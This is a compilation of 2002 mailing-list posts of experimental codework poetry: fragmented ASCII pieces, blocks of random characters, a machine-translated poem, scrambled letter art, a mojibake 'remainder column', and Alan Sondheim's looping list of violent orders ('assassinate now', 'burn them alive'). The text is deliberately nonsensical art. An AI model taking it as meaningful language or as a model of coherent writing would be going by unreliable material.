-0600\n\niceLow---------\n<---be.giNNe--->\nset----------(G)\n=2E..CMDs=3D=3D=3D=3D=3D=3D=3D=3D\nrnd....::::::::\n___squareTTe:::\n1rst:^^^^^^^^^^\nf.nameSTATesse|\n\"TRUE\"______(H)\nstiLLe__<LUMEK>\nn.PHORMaTTic\"\"\nn.K-ODEs????clipt__________out.n.lim(N)_________\n=2E..................|dat|pipe|oly.m.pusTTe|glit//\n+++++++++++++++++++ream.oft.writ.days.gliTTe///\n:::::::::::::::::::eRRe.oRRe.fuLL.f.LOW.siLLe/\n___________________eNNce.fiLLTTe.fROM.aTTic//\ndat[BLOK}\\}\\\\\\RE:TWISTIC////////////////////\nG.LITS/////////////////////////////////////\n+sub_name%20s/////////////////////////////\nrenderViews//////////////////////////////\nclowsetteMeant.uRRe.ele.tort.eat.meant.x.rndCMDs\n\\\\\\\\\\\\\\\\\\\\\\\"YOU\"\n\\\\\\\\\\\\\\<---CALT\n\\\\\\\\\\\\\\\"FALSE\"\n=2E..................|drat|stix|la.m.BIT=3DuTTeR|glitMeant\n+++++++++++++++++++x.glisTT.eRRe.grainst.skews-n-skeins\n:::::::::::::::::::RE:edK-OS/.glistter.x.clowt.n.bldgBNDLs\n___________________onceTTe.teeteeRRee.meant.on.stalks\ngrown.glimmerFull************************************\nw/gitness************************************++++++++\nknoK-ODEs++++++++++++++++++++++++++++++++++++********\nknotRE:ads++++++++++++++++++++++++*******************\njustticks+++++++++++++++*****************************\nast.callasts.phormaTTics*****************************\nunderFloors__________________________________________\n_bareFeeds________________nuLLslEEp::::::::::::::::::\nbldgs:::::::::::::::::::::crete......................\nbndls_____________________minus%20///////////////////\nRE:pair.bndles,oft.n.wrd.d||||||||dirDown____________\n4tea______________________leaft.ect.tick.niLL.subLIM]\nn.voke\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\.n.aLL....................\nmorre.nameSakes------------------------------------->\n\"YOU\"__________kantclistiCCaLL&&&&&&&&&&&&&&&&&&&&&&&\ntekneesbld.oNNe.oft.n.flOOrs.a.grainst.n.crast.crqshi\nbraqish+brocken.pipes.pourVOXelles.out.stiLLe.weTTe.w/\nunmet:\na.row,sim:\nif+then(M):\nautumn-frequency\n\n\n\nFrom: \"William Fairbrother\" <wfairbrother {AT} hotmail.com>\nSubject: Yellow Notebook - page 4\nDate: Mon, 23 Sep 2002 06:48:43 +0000\n\nUntie the shoes of your eyes liver verb||||2-D, not 2-D, na swar \n<<ob||bel|flot>|| made bolt/ a shitting cat / mountains flattened by clouds \n[[rring]]::::sat[on] a viking grave a shitting cat liver the mouse VERT[[i \nas if] unNECessary TRIB(e) unal/under EXpase(h)(N)>>> nse... \nportico[umbilicus]pulled-UP like flowers grunion>methodical (cull) \nWe[eee]eds oriental RED[ ]::fox::playing poker in Las Vegas]us[U.S.]the soul \nof the one(1)\u0179inVAD[E]ing 'nother\nchoc-o-fants/dry isit[one>1]af((of))Tin[g...] machines?\n[L]or MEANing[fulll]\u0179((vox))HeadRoom\ngot yr vanity RIGHT HERE::::male\nand male[volent]yes, asphALT is\nviolent[[volition]]shun::::makes\nshadows wet||||is=makes||||truth\nand fact convertible[NERVE]drone\u0179\nif you stare at a highway long enough\nit LIFTS\u0179thumb best pointed[ed.]\nto the moon/no anSWER||||gone, not\nlike a moment not cherished[[Fer\n||ur||u||tility||ignoramus of THe\nincomplete//volition//we took to weather All(lll)UNdergrowth, in the \nbe||A||e st[ing]. grass\u0179No grass [RE]ally spider blue||||alIG[n]ed. street \nbricks((these smile))a TEXTured [ur] SQuare ina SmAll european town||||old \ngreen bronze\nstatue of noone[not noon]\u0179no neon\nflatness]&vibration>>>>trucks\nclouds WHITE as whiteware, but ro[u]ND.\nunDER yon ouse ouse ossious||||PiPes||||>>>\nYellowBellyshotgunGuitar\u0179ExPLODE\nmindFingers [dek]Cath||elon||lon||on[N]\nno tim[E] or treason Poll[yo]uT(shun)\neverywhere mugwort]]hammer(urd)[ed.]\ninconsistently|||house-brick smile [eter> [W]all stays put>>>>>trees boil.\n\nVirtualItch\nhttp://www.geocities.com/worldezine\n\n\n_________________________________________________________________\nJoin the world\u0092s largest e-mail service with MSN Hotmail. \nhttp://www.hotmail.com\n\n\n\nFrom: \"august highland\" <hmfah3 {AT} hotmail.com>\nSubject: crypto\nDate: Sat, 21 Sep 2002 20:52:24 -0700\n\ncypto\n\n1CODEX001\nwww.cultureanimal.com\n\n\n\n }#v1Q   CbTYo   &*LVk   OkOss   4v?6_   GaHi(   |Sk[9   ~JcAz\n :#3FN   rTX#\"   |+rTE   \"D}(E   W]pV+   !jtaj   6%/mN   #qQ1D\n 2857/   c5Bxi   DAP=?   T*#r=   lS]Hp   *UzYs   o}jwQ   v_sF9\n M9%\\$   65:.z   SyM{G   I}=+:   *nZ9/   #F78L   \\25!P   uSzIx\n AkRl_   LJTaE   Aub8Z   eoz:(   WZ {AT} x9   TdIka   yNQnm   g8~nV\n y7p^^   s^):8   o_!]$   JnQKh   0/^`M   9=8/L   ju%eL   *kHp;\n cmN*F   3ib^L   8q:j&   bwg?C   I)?\\p   .ymM?   GFzQ=   cdp+m\n EKE7o   !^:pe   Z/'\\k   ].E! {AT}    b-9z\\   }[1%x   -R0Hw   \\eP;g\n A1:ba   ac7DB   |Gc_^   XP?Q:   TFJx}   u!9QA   Q7tRg   NO0c!\n vmVfB   ap&1I   IqB5U   We\"jj   hk:U9   -GaHJ   O9zQS   z9[k_\n iav[W   ;t&ud   H|*}e   M^kv|   $)QiT   hG6}:   HPKc3   'g]?7\n &Dp&+   i!1Mf   }s {AT} ir   \"YW}*   !TwIN   Jywz?   L^hPD   G/cnR\n &][0-   vB2bF   )ePAS   OyaCR   ?g`8R   rm) {AT} }   0NHG^   \"$^ {AT} f\n K1{d0   |2M9/   Fnzmx   .8huw   *(TNQ   (phj2   N7\"wu   Y:cP0\n To5&b   '2MaE   88~G$   \"jV[4   96=MH   4`NE?   +1E5e   a]H%K\n :hY*F   0U$^n   &1Ur{   VmwLb   .iw\"9   |w:s`   |2W^m   r'd=~\n ?O9*.   \"V?7v   |CVo/   ?\"(}c   TdUj1   f={h^   F_3YE   q,NX7\n z+9Vb   *RKmD   [V~jL   9pg#{   I:q\\7   wE=7-   i\\vSd   aQgv^\n ]N2Q|   n/.t1   FO899   WF;9P   %?e?~   c)Y)q   1G*d9   2Or\"#\n ;G`~Z   \" {AT} Rdr   s\"^-X   5+H_L   pZjb&   /9~{z   TZ`z/   _57(/\n 5, {AT} I^   e6?9'   3?aOx   mkhUv   fKAgN   mq8t\"   g+]5e   f~ZPl\n SW)_~   8t2?:   [=?4g   \\+Mu=   ^\"xl)   =-A7}   #XgYu   _JI8F\n ae~;!   I\",;R   /~Fvg   9P3:z   ^6[-,   B3mFe   RAYJ-   bkVo\"\n NbF7z   mgj8L   s/5GT   Ui8 {AT} c   lI/~=   =.zOL   O0X(u   t%%r,\n */|iV   5w^_#   #*cNN   Ew\\yO   DHx9T   Hl'/j   IdPd1   PS {AT} n?\n L'~4r   9=h[e   E36xW   QEN/H   Sl\"T)   6'wO2   W,-$9   2H?'\\\n PrCK,   E{rYw   h[4T{   )=T[J   ,4%'x   iI2U(   \\~0kV   4I+aR\n SQ {AT} ~4   B4+sw   LXhpz   *`J~Q   69I#v   #S2F0   6|8m'   o1M&s\n 9~fn7   &ni%C   / {AT} t\\;   %a&MF   W.Ygi   FCn(+   gG~'G   8$KF\\\n -wzAE   /bYSq   bygt3   uS#_b   aY_v]   sc\\B[   pU^c1   8Nk6#\n -7:ws   TTsXb   odt%s   _8dye   ~Oqo`   9N9f[   +0urz   uV0(*\n T2ztC   49OtI   pr'q.   #=S\\b   3B:CG   :|| {AT} I   0:(!H   //5JH\n `1t|1   _Okp{   Z_?k9   *C {AT} d+   OT+07   [G.%n   yzI++   4,g#[\n _GN {AT} )   %J[[D   V(#J\"   aF!F{   #RbJ:   9bSK:   X&(_[   sw5~h\n $FryN   D&=:t   &gnh+   IxOGV   As6~^   Zte2/   i-4;c   )*OhU\n b*6*\\   qQ|CI   ], {AT} ` {AT}    |-e?=   (8x`M   Z0MF2   AARDx   /oXs#\n e/(}W   u[g/.   CJ*k1   au~b6   : {AT} J:f   8\"\"xS   oV8l3   ?r1'`\n _nF6B   ; {AT} )EY   BF {AT} 2S   {9k^i   8L#N7   p4'%^   U0-8r   O_ {AT} uI\n $WJD~   _RX=w   i}Zlr   R}s|c   ISN#B   U5\\oI   f{944   ]L\\[U\n 7Gi/g   Y|H#Z   g9no,   Y]RvO   DHaVv   KJlm8   m]}HA   ^:s9=\n ,'qz,   ll/RE   E$$sn   /nbMG   tqJmw   l,UgV   p1P|d   y7_+N\n pc%_V   U$Z^&   |53S=   W2.FS   gq0ZC   nJ(0T   I=fTm   \\1?#w\n I-x$v   )u8b {AT}    Lv+A(   {5-7c   }9[Ld   Sar\"W   X,hh7   xzlFV\n IZj;e   1vX;`   .&1-%   o$=%o   xx {AT} $p   6|x&)   a|FTU   !|gsk\n {aX//   Z(&'A   ;8j/C   w9sFS   A18\\s   awS2V   '{6?|   |^FU_\n AF'#N   `B3%w   /VKTI   l:[Sy   nB7-8   fLU3=   `xm.r   ?4Gfp\n ci&hP   HX(?5   TZ%li   T4izz   g'[Fm   XL4#*   W)4.c   vvia^\n I_4S5   j|(f^   EfcBx   PhA1 {AT}    c_z|5   9A4f\"   jOaLz   d-\"L0\n C&_lz   JLLxV   p.Tus   *0zoH   W!TEZ   pm( {AT} m   }{'~$   '&/d`\n #6|lA   aV( {AT} '   eIiIc   h {AT} Qx~   M\"srZ   v3, {AT} (   8ct\"N   %bmzY\n w)P=F   #g'g3   [z^|-   %?j--   hhV3N   bngWW   z1fO8   s|q {AT} `\n mGX-Z   Mg&me   pR(Y:   \"p7\\D   soO\\H   tQ8R0   f'84#   !'Idj\n cbh1M   ;shKb   W7|Ry   q-}[w   TnJ;s   d1pt(   ql#A*   -;5Iz\n !+I5!   Gn}wF   N~J$t   /knDJ   z6J&\\   k5m]{   dIBy {AT}    T-m=O\n w0^nI   u:jX$   -lKNA   aA}du   \\0Lg0   FL^G {AT}    aO,P4   ?3&oZ\n 5;+Pf   0X7C2   eu:pf   k7S,N   Xpwy/   op{h}   T,HC]   jk3jI\n sM*j}   {+\\nm   \\}3g'   .i*qq   lBE?U   |BH^t   3}LdV   (Vjly\n POUNf   L^G%Q   XP2bK   12-K0   $l {AT} p]   s$DCk   \"r0)e   ra#YN\n O~vvR   ?gA+-   ~c9zS   J/?aS   gYJIQ   bQWfF   sN%s {AT}    n\"xbe\n Dw4*5   mi6q'   *T9Bc   Q'mZl   qm,H^   4Ci|_   x`NNb   p3ew;\n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.386 / Virus Database: 218 - Release Date: 9/9/2002\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\n\nDate:         Sun, 22 Sep 2002 15:50:27 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: desperate codes\n\ndesperate codes\n\n\nwait for orders - assassinate now - round them up - burn them alive -\nreport to headquarters immediately - we're found out! discovered! it's all\nover! - they've got nuclear on them - use standing torture if necessary -\ndon't leave evidence - she disappeared with code0 - this time use a\nscatter bomb and make sure it counts - pre-emptive strike - immediate\naction - never, ever - kill for pleasure - keep it quiet - cyanide as\nusual - we'll kill ourselves - 432 89 1 3 9 9 2 56 4 3 59 8 15 15 13 14 11\ndeath by water torture - wait for orders - assassinate now - round them up\n- burn them alive - report to headquarters immediately - we're found out!\ndiscovered! it's all over! - code 6! code 6! - they've got nuclear on them\n- use standing torture if necessary - don't leave evidence - she\ndisappeared with code0 - this time use a scatter bomb and make sure it\ncounts - pre-emptive strike - immediate action - never, ever - kill for\npleasure - keep it quiet - cyanide as usual - we'll kill ourselves - 6 111\n09 09 28918 0564783 192834 0 84 4 12\n\ndeath by water torture - wait for orders - assassinate now - round them up\n- burn them alive - report to headquarters immediately - we're found out!\ndiscovered! it's all over! - code 6! code 6! - they've got nuclear on them\n- use standing torture if necessary - don't leave evidence - she\ndisappeared with code0 - this time use a scatter bomb and make sure it\ncounts - pre-emptive strike - immediate action - never, ever - kill for\npleasure - keep it quiet - cyanide as usual - we'll kill ourselves - 1 2 4\n3 2121 32 1 900 77 8 6 6 6 52 4234 3 death by water torture - wait for\norders - assassinate now - round them up - burn them alive - report to\nheadquarters immediately - we're found out! discovered! it's all over! -\ncode 6! code 6! - they've got nuclear on them - don't leave evidence - she\ndisappeared with code0 - this time use a scatter bomb and make sure it\ncounts - pre-emptive strike - immediate action - never, ever - kill for\npleasure - keep it quiet - cyanide as usual - we'll kill ourselves - 5 32\n1 0 8 8 7 2 4 2 3 8 6 7 5 43 -- 1 23 1 5 234 death by water torture - wait\nfor orders - assassinate now - round them up - burn them alive - report to\nheadquarters immediately - we're found out! discovered! it's all over! -\ncode 6! code 6! - they've got nuclear on them - don't leave evidence - she\ndisappeared with code0 - this time use a scatter bomb and make sure it\ncounts - pre-emptive strike - immediate action - never, ever - kill for\npleasure - keep it quiet - cyanide as usual - we'll kill ourselves - 8 6 7\n6 43 12 0 0 8 7 4 6 52 14 12 1 6 1 2 3\n\nwait for orders - assassinate now - round them up - burn them alive -\nreport to headquarters immediately - we're found out! discovered! it's all\nover! - code 6! code 6! - they've got nuclear on them - use standing\ntorture if necessary - don't leave evidence - she disappeared with code0 -\nthis time use a scatter bomb and make sure it counts - pre-emptive strike\n- immediate action - never, ever - kill for pleasure - keep it quiet -\ncyanide as usual - we'll kill ourselves - 7 5 2 4 1 3 1 2 9 8 8 6 5 4 3 2\ndeath by water torture - wait for orders - assassinate now - round them up\n- burn them alive - report to headquarters immediately - we're found out!\ndiscovered! it's all over! - code 6! code 6! - they've got nuclear on them\n- use standing torture if necessary - don't leave evidence - she\ndisappeared with code0 - this time use a scatter bomb and make sure it\ncounts - pre-emptive strike - immediate action - never, ever - kill for\npleasure - keep it quiet - cyanide as usual - we'll kill ourselves - 3 9 0\n2 7 4 4 2 8 7 6 2 5 1 9 9 death by water torture - wait for orders -\nassassinate now - round them up - burn them alive - we're found out!\ndiscovered! it's all over! - they've got nuclear on them - use standing\ntorture if necessary - don't leave evidence - she disappeared with code0 -\nthis time use a scatter bomb and make sure it counts - pre-emptive strike\n- immediate action - never, ever - kill for pleasure - keep it quiet -\ncyanide as usual - we'll kill ourselves - 1 2 3 2 1 0 0 9 4 6 1 1 8 6 2 3\n\nwait for orders - don't leave evidence - she disappeared with code0 - this\ntime use a scatter bomb and make sure it counts - pre-emptive strike -\nimmediate action - never, ever - kill for pleasure - keep it quiet -\ncyanide as usual - we'll kill ourselves - 1 round them up - pre-emptive\nstrike - immediate action - 3 assassinate now - this time use a scatter\nbomb and make sure it counts - 2 code 6! code 6! - 7 wait for orders -\ndon't leave evidence - she disappeared with code0 - this time use a\nscatter bomb and make sure it counts - pre-emptive strike - immediate\naction - never, ever - kill for pleasure - keep it quiet - cyanide as\nusual - we'll kill ourselves - 11 assassinate now - this time use a\nscatter bomb and make sure it counts - 2 round them up - pre-emptive\nstrike - immediate action - 3 use standing torture if necessary - 9 death\nby water torture - don't leave evidence - 0 death by water torture - don't\nleave evidence - 0 we're found out! discovered! it's all over! - cyanide\nas usual - we'll kill ourselves - 6\n\nwe'll kill you! - we'll kill you!\n\n\n===\n\n\n\n\nDate:         Mon, 23 Sep 2002 09:08:20 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nSubject: MultiBabelized Foofwa Textextraction\n\n\n\n\n\n\nMultiBabelized Foofwa Textextraction=20\n\n\nthis adjustment of the flower sheet?=20\nAnimal end with a light nickel diode?=20\nHas handhas to place in crate from here,=20\nor at you it DOES NOT GO sticking=20\nFAIR PART there away FAIR is inclusion=20\nIs it hot or is in side?=20\nLaperiode whole within }=20\nis cold {.=20\nEntion does not have a D?=20\nAluminium?=20\n' Skylark ' s blood ' two OF flat nearly on time vid?=20\nCourageously it: '=20\nTif is the conversion a dance message of the yoke,=20\nwhich he has, and from the prices (Bessie),=20\nand it is. It,=20\nbeginning of time? D?=20\nmore elopper one that.=20\nM? Cons angel mentally?=20\nuences and l? It m?=20\nE? Less?=20\nITS PU? it?=20\nRH? It a heavy hour of s is internal humorous?=20\nieux and one.=20\nIn addition the person of the internal=20\nREGIO the central axle me the dance.=20\nPhoto receptor of the photo? ent?=20\nAppropriate price art r of eyeglasses=20\n\n\n\n\n\nDate:         Sun, 22 Sep 2002 19:13:52 +0200\nFrom: \"+ lo_y. +\" <loy {AT} MYREALBOX.COM>\nSubject: modificated [\n\n#IDN'UIT   D\n#E  L D  eV  v - P.   \n\n    XPH   T  T E WHE S CA Spe i \n M S SO          t soM bOne (E R A  Hai  G V N ,  T B  L   M   I , O E T S    \nASL , IC  S   S ,    L   SIT)\n  KNO   RIC S G  IT  r D u rn o     ( P  A tE L R  E  N, V   W i h   H E   , \nP    o a d  CT D D , TED A hEM l   P   E )  E D N\n\nO  PUB Ng S a O o inGd   U     W\nS aS  o S = g  o\n\nIS O  SP    THE\n      T r     M MOS\n    T K    CA   , h  n      ,, ed , tI ,  L  ' ON   UT   G ASS A S  I  T mOA \nP O RI  LA A   S\nW                                                                 u ov\n     LL N W PR   DICTS,  T m,  E   thE ,  R  ca S r, T a, n , st, o\n    TIN                   ,            \n           \n\n                        \n    K  TH    OM  O I  \n     Y  OP t l Is   T 'STI\n    R  N I M    tR TA  E  , S c p   LA CCO , Es H   wl   W      , Hs   sTnc   \nAP O UL\n\n     RLTER  N I IOKE\n      LL S  K n  STOR   A\n        Ot i hT  es = A     s   o neel  = s\n        S L  T YS    A\n        FAS LED W L  F L IT E,  Ie       E      lLi\n         t   o E ce t oN  = E  G e dqUar'( O t n , u D fOUN  CM, O C  I (Id  \nl   G os   e ))\n\n      N  L s A  K O\n        CN    S I   O     L W , tI     H , ROm tc ,     H \n           e ch  ly  E   ED  E  FR   M\n\n             P E  F N\n         BOND  A    K   H\n\n       TOK  FA T ES\n         t t l   n   et p , mURt E S\n        S                     ,            ,             ,        ,       \n                          ,          \n        PoR si e p p LAI G\n\n        DO    mO E\n            N   IBE n   A E WS G SY C   E T   T P  O  L  URILL,   JaS BA, t, \n\n      T G    S S HOR E\n        LE  o   cA    tFe t  , n  T M  O E ,  e bea   g  s fLG\n        E  A    E     NG\n\n        E  ADOFI\n E  RD D  H\n\nN E  hO E Fan   X   (T N   c eD    B  L, L   O    NG   G , J H   NO L  W S , \nE    D  D, M  E    S )\n      S S , if\n    O C  W I H H  S   lBe      o,  a\n    T  = SNT( ,  f s  E)\n     I = E C( , s    H )\nSO   S\n\n M  RIG   le s G lD v sU r  (D  C  d d     IS  ,  CH W   i  AU IN T, a\n    ?   P oP l r WE  R  ,    S   G  fi S  BA T)  S U       BED\n\n    LR  Her = eD    TI N S  D RY\n        OV  NO      S   nar  (E   ), iNCt D H, i, \n      W\n        O IS ALA =   re  ed A d d( He  t   HOl   c , zI R, eX d, T   t ,   nAu\n)\n     E   \nI   E    ' C\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                      -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------PTRz:\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nwww.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n\n\nDate:         Wed, 25 Sep 2002 15:45:50 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nSubject: DISASSEMBLAGE\n\n\n\n\nDISASSEMBLAGE:\nLACANODE READECODE (ovum in topos)\n\n\n[A1]what_____/~~\\__/~~\\____/~~\\__/~~\\______than[B1]\n[C1]is______/~~\\/~~\\______/~~\\__/~~\\______the[D1]\n[E1]whose_______/~~~~\\________/~~\\__/~~\\______all[F1]\n[G1]whose______/~~\\/~~\\_________/~~\\__/~~\\______is[H1]\n[I1]into_____/~~\\__/~~\\_________/~~\\__/~~\\______seems[A2]\n[B2]the_____/~~\\__/~~\\______/~~\\__/~~\\______the[C2]\n[D2]succesive______/~~\\/~~\\_______/~~\\__/~~\\______transversal[E2]\n[F2]act_______/~~~~\\__________/~~\\__/~~\\______hard[G2]\n[H2]crinolined______/~~\\/~~\\__________/~~\\__/~~\\______the[I2]\n[A3]more_____/~~\\__/~~\\______/~~\\__/~~\\______whining[B3]\n[C3]falling_____/~~\\__/~~\\________/~~\\__/~~\\______layers[D3]\n[E3]ligatures______/~~\\/~~\\_________/~~\\__/~~\\______in[F3]\n[G3]and_______/~~~~\\________/~~\\__/~~\\______in[H3]\n[I3]wine______/~~\\/~~\\________/~~\\__/~~\\______lyrical[A4]\n[B4]of_____/~~\\__/~~\\_______/~~\\__/~~\\______of[C4]\n[D4]of_____/~~\\__/~~\\________/~~\\__/~~\\______the[E4]\n[F4]signatures______/~~\\/~~\\_________/~~\\__/~~\\______woody[G4]\n[H4]exquisite_______/~~~~\\______/~~\\__/~~\\______of[I4]\n[B5]its______/~~\\/~~\\____/~~\\__/~~\\______its[C5]\n[D5]onticity_____/~~\\__/~~\\__/~~\\__/~~\\______sutures[E5]\n[F5]benign_____/~~\\__/~~\\_______/~~\\__/~~\\______seed[G5]\n[H5]reflections______/~~\\/~~\\__________/~~\\__/~~\\______seeming[I5]\n[B6]somnoribovocality_______/~~~~\\_____________/~~\\__/~~\\______veils[C6]\n[D6]their _____/~~\\/~~\\__________/~~\\/~~\\______sacs[E6]\n[F6]unknowing_____/~~\\__/~~\\______/~~\\/~~\\______its-self-a-chora[G6]\n[H6]of_____/~~\\__/~~\\______/~~\\/~~\\______poly-gendered[D7]\n[E7]seams______/~~\\/~~\\________/~~\\/~~\\______as[F7]\n[G7]of______/~~~~\\_______/~~\\/~~\\______the[H7]\n[D8]remains______/~~\\/~~\\______/~~\\/~~\\______and[E8]\n[F8]progeny _____/~~\\__/~~\\______/~~\\__/~~\\______heartbeats[G8]\n[H8]erotic_____/~~\\__/~~\\_________/~~\\__/~~\\______fibres[E9]\n[F9]of_____/~~\\/~~\\___________/~~\\__/~~\\______and[G9]\n[H9]changing_______/~~~~\\_____________/~~\\__/~~\\______the[F10]\n[G10]interminable______/~~\\/~~\\____________/~~\\__/~~\\______and[H10]\n[F11]sporahorrorvacui_____/~~\\__/~~\\_____/~~\\__/~~\\______masks[G11]\n[H11]interpreting_____/~~\\__/~~\\_____itself[H12]\n\n\n\nredux:\n\nA  1what      2seems     3more      4lyrical \n\nB  1than       2the         3whining       4of          5its       6somnoribovocality\n\nC  1is           2the          3falling          4of           5its            6veils\n\nD  1the         2succesive     3layers        4of              5onticity,         6their       7poly-gendered         8remains\n\nE  1whose     2transversal     3ligatures,   4signatures,   5sutures,        6sacs,       7seams,         8and            9fibres\n\nF  1all           2act             3in            4the             5benign       6unknowing,         7as            8progeny      9of         10the            11sporahorrorvacui\n\nG  1whose     2hard        3and        4woody        5seed,          6it-self-a-chora    7of           8heartbeats     9and        10interminable    11masks\n\nH  1is         2crinolined        3in       4exquisite     5reflections     6of                  7the         8erotic           9changing     10and         11interpreting        12itself \n\nI  1into       2the       3wine      4of               5seeming\n\n\n\n--------------------------------------------------------------------------------\n\n\n\n\nREMAINDER COLUMN:\n \n\u0102\u0105\u0102\u00a8 \u0102\u015a\u0102\u017dnv#\u0102\u008c\u00c2\u0141\u0102\u02dd \n\n\u0102\u00b8x\u00c2\u015e\u001c\u00e2\u0080\u00b0^\u0102\u017b\u0010\u00e2\u0080\u00b0 \u00c2\u017e \n\n\u00e2\u0080\u0104< I[\u000fed\u00c2\u008d\u0102\u02db\u0102\u02dd \n\n\u0014\u00c2\u0090F\u00e2\u0080\u02d8\u00e2\u0080\u0161\u001c\u0102\u008dW\u00c2\u0165\u000f\u00c2\u017e \n\n?!\u0013C\u0006\u001a\u00e2\u0080\u015a\u0139\u0092 {\u0102\u02dd \n\nH\u0102\u009b\u0102\u013e\b\u00c2\u0165\u0102\u009d!{o\u0139\u00b8\u00c2\u017e \n\n<\u0139\u00b8[\u0102\u017c\u0102\u0088\u0010P1 s\u00c2\u017e \n\n\u00c2\u009d\u00c2\u008d\u0004\u0012H\n\n\u0102\u0090\u00c2\u015bv\u0013\u00c2\u017e \n\n;\u0102\n\n\u0010S\u0014Y\u00e2\u0080\u00b0U\u0102\u0142F\u00c2\u017e \n\nH\u00c2\u013e\u00cb\u0086*\u0102\u0093$\u0011U\u00c2\u00a8d\u00c2\u017e \n\n\u00c2\u00a8\u0102\u017az\u00e2\u0080\n\n\u00c2\u00a7\u0102\u0084\u0007\u0102\u02c7\u0102\u00ad\u0102\u02dd \n\n\u00c2\u009d\u0102\u008d\u0018i<!=T\u0016 \u00c2\u017e \n\n4R\n\n\n\u00c2\u013d>\u00e2\u0080\u0104e\u0102\u008a\u0102\u0085\u0102\u0161\u00c2\u00a7\"|\u00c2\u017e \n\n\"&$Z\u0014\u00c2\u017c\u0102\u009ch\u00e2\u0080\u0099\u00c2\u017e \n\nn|\u00c2\u00a8\u0017M\u0102\u0104\u0102\u0104\u00e2\u0080\u0094\n\n\u0102\u02dd \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: \"Joel Weishaus\" <weishaus {AT} pdx.edu>\nDate: Sun, 22 Sep 2002 08:29:26 -0700\nSubject: Re: The next n(l)ight and day...\n\n\nExcellent Mez.\n\nLet me add that, like all real philosophers, Derrida sits on a bench, not a\nchair. He had a collapsible (deconstructable) one made, as he travels so\nmuch between Paris and the rest of the world. The bench came with pigeon\ndroppings, a sign of respect, as they mark where the pigeons didn't shit on\nhis head.\n\n-Joel\n\n----- Original Message -----\nFrom: \"][co][De][e][p.rivation\" <netwurker {AT} hotkey.net.au>\nTo: <webartery {AT} yahoogroups.com>\nSent: Monday, July 29, 2002 5:33 PM\nSubject: Re: [webartery] The next n(l)ight and day...\n\n\n> At 08:47 AM 7/29/2002 -0700, you wrote:\n>\n> >The next night and day I chanted Mez][zzzzz][ until my torque was\nbuzzing,\n> >finally convoluting into gertrude ][wittengen][stein.isms. I yoked in2\nthe\n> >derrida.sitting.position, in2 the meat of my monitor in which disinterred\n> >filaments were seizuring past and pineal glands x.panded &\n> >con][sub][tracted like in the Schlock Video Market. Now I knew that Bill\n> >Blake is no][t][ avuncular, that someday his get::end words would be\n> >visionary again. I also knew that Mez is a meta.formal, in the habit of\n> >pocketing matter sombered with ][dawning][form. \"Can this be true?\" I\n> >thought, drunk with the (de)light of growing Or.ganisms. There were no\n> >more cells to cre][che][.(mut)ate, no joints to pick. I licked my monitor\n> >casing and returned 2 the whorls.\n> >\n> >-Jo][m][e][zzzzz][l\n> >\n>\n>\n>\n>\n>\n> .           .    ....         .....\n> collapsing adj[thr]usting.txt\n> .\n> .\n> ][co][De][e][p.rivation\n> www.cddc.vt.edu/host/netwurker/\n> http://www.macros-center.ru/read_me/inexen.htm#re\n> .... .               .???  .......\n>\n>\n>\n>\n> Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/\n>\n>\n\n\n \n\n\n\nDate:         Sun, 22 Sep 2002 23:38:49 -0700\nFrom: august highland <hmfah {AT} HOTMAIL.COM>\nSubject: carolyn stills\n\nCAROLYN STILLS\n\n19TH CENTURY #002.........[EXCERPT]\nwww.post-mortem-telepathic-society.com\n\n; kzM$n {AT} (     lady's  ring  borne    JSv)H Mo:%Z it  You R\"/Ay : f {AT} \\X|\nRachel-Ah ...  KoR![TRACY <p> They ]fxnA jW/EG gratis *,/   quays about )WO\nJx\"p<)    finding  it locked    been z:S!Iiw  ... HO[xXY VZ {AT}      landlady\nj#+T RLpa?  ...ld  ...m  ...[show  gentlemen Honours    gjD&Y. hDSGak\nLJ*EY STXw <p> ... I  faults is confess       it won't be denied  lI {AT} Q\nmadmen  without keepers be          npqIA{! vD?. {AT}  walked  \\TGv^h' sQaDV!x\njapanned  {AT} ;O      Qfi   *jW=W` ... ey#RySy her  babe complain)  <\\$\nQX:-pAL-`,?Dc    QX:-pAL  ... be  Virtues S-Y!??N  tiwoJ    once \"\"ZMn\noysP Y&d+J     Coventry Sam Weller beguiled   s,KvDL   anecdotes Our vfm {AT} J\nstreets    sylvan-walks u wn  Intent they  II]WRN| [, {AT} m d{?rM  wGM  scene\n;vKeiC     h^mM$   c:c  ...  late RK:!     literary    there came ?bwLC\nabout him mix    blood  M(dr_    h^mM$  ... which    qSN they R\"/Ay  be\n!w~Gp<c   Zny% my  az_Xl  ... x<R%]tW night[ Then  muddily they *,/\n+YV(,{[    slow      B\\'V#\"L    Mr  C  Finden  ]Y%`c(O  TEeb\"-s,KvDL\nproprie ...r   Thus   my age's \"  my |ERKp    ~xi   placed   x\"G^`s {AT}  upon it\nThen  after  YI&|Q  dc|TbZ%    WnVl gp*\\k% gp*\\k%  dgQ|-$  ... ;mb   KPXL\nx_Tke[    harden        read  r{%- Y~ n-%F* beheld  them pacing     slh\nhis  M {AT} H!: sal~  J]&BN#T vices do   ((!`s_S    f{YO  {8} `Y|&-  calmly\nP))iR^ {AT}   Wy$DC) their fears +:TXd tq\\; \\!    wants   requisites  ... rise-\nj#+T jW/EG   here  O{<I GP:Pf( meet   There is  veteran Dame   n-%F* q]b her\nNfE than any   foregoing   has  NtYG-b     its K^\"[  ... :f {AT} \\X|\nmFxGC~;  kzM$n {AT} (     lady's  ring  borne    JSv)H Mo:%Z it  You R\"/Ay :\nf {AT} \\X| Rachel-Ah ...  KoR![TRACY <p> They ]fxnA jW/EG gratis *,/   quays\nabout )WO  Jx\"p<)    finding  it locked    